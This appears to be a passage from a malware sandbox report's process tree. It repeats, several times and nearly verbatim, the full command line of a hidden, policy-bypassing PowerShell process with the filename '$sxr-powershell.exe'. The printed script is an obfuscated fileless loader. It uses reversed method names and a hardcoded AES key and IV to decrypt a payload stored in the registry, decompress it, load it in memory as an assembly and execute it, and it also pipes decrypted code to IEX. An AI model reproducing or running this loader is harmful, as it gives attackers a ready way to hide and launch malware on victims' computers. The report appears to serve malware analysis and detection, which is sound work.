[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4392
    - - C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(1008).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4868
    - - C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(1008).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4444
    - - C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(1008).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = 